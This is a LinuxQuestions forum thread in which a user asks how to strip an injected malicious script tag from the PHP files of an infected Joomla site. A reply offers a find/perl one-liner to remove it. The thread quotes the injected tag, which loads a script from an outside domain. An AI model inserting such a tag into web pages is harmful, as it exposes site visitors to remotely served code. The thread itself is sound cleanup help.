LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - General
User Name
Password
Linux - General This Linux forum is for general Linux questions and discussion.
If it is Linux Related and doesn't seem to fit in any other forum then this is the place.

Notices


Reply
  Search this Thread
Old 02-08-2010, 09:34 PM   #1
delphig
LQ Newbie
 
Registered: Oct 2003
Posts: 8

Rep: Reputation: 0
Mass search and replace on php pages


I have malware on my joomla..

I need to replace the following with nothing recursively
<script src=http://ebisawa-tatamiten.com/link/index.html080421.php ></script>

I've tried perl -pi -e 's{<script src=http://ebisawa-tatamiten.com/link/index.html080421.php >}{}xmsg' `find . -name 'php'`

But it doesnt seem to work..

Driving me nuts as I've tried various methods.. But I always seem to get errors on my script

Thanks for any help
 
Old 02-08-2010, 10:10 PM   #2
neonsignal
Senior Member
 
Registered: Jan 2005
Location: Melbourne, Australia
Distribution: Debian Bookworm (Fluxbox WM)
Posts: 1,391
Blog Entries: 54

Rep: Reputation: 360Reputation: 360Reputation: 360Reputation: 360
Perhaps something like:
Code:
find . -name '*\.php' -exec perl -pi -e 's#<script src=http://ebisawa-tatamiten\.com[^>]*></script>##g' {} \;
The '-exec' executes the command for each file that is found.

Last edited by neonsignal; 02-08-2010 at 10:16 PM.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Vi Search and Replace mortonmorton Linux - Newbie 6 10-22-2009 09:09 AM
possible search crash.../home/httpd/linuxquestions/questions/search.php aus9 LQ Suggestions & Feedback 3 09-06-2008 07:27 PM
PHP pages are displayed as blank pages Hirszu Linux - Software 6 03-03-2008 12:09 AM
php links to search pages method spoody_goon Programming 2 01-10-2004 10:50 AM
problem in perl replace command with slash (/) in search/replace string ramesh_ps1 Red Hat 4 09-10-2003 01:04 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - General

All times are GMT -5. The time now is 01:44 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration